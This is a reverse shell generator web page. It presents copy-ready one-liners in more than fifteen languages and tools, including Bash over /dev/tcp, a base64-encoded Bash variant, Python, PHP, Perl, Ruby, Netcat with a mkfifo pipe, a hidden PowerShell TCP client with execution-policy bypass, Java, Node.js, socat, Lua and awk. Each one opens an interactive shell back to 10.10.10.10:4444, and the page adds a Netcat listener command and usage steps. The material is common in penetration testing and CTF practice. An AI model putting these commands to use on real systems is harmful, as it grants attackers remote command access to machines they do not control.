Reverse Shell Generator
Generate reverse shell one-liners for 15+ languages including Bash, Python, PHP, Perl, Ruby, Netcat, PowerShell, Java, and Node.js.
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE= | base64 -d | bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'nc -e /bin/sh 10.10.10.10 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
require('child_process').exec('bash -i >& /dev/tcp/10.10.10.10/4444 0>&1')socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.10','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/nullListener command: nc -lvnp 4444
How to Use the Reverse Shell Generator
- Enter your listener IP address (e.g., 10.10.10.10).
- Enter the port number your listener will use (e.g., 4444).
- Browse the generated reverse shell commands for each language.
- Click the copy button to copy any command to your clipboard.
- Set up your listener using the command shown at the bottom (nc -lvnp PORT).
About Reverse Shell Generator
A reverse shell is a connection initiated from the target machine back to the attacker's listener, providing interactive command-line access. Unlike bind shells, reverse shells can bypass firewalls that block incoming connections. This tool generates ready-to-use reverse shell commands in 15+ programming languages. Each command establishes a TCP connection back to your specified IP and port, then redirects shell I/O through that connection. This tool is designed for authorized penetration testing and CTF competitions only.
Frequently Asked Questions
A reverse shell connects back from the target to the attacker, while a bind shell opens a port on the target and waits for the attacker to connect. Reverse shells are preferred because they bypass firewalls that block incoming connections on the target.
The most common listener is Netcat: 'nc -lvnp PORT' where PORT matches the port you configured in the generator. For more features, tools like pwncat, socat, or Metasploit's multi/handler provide additional functionality.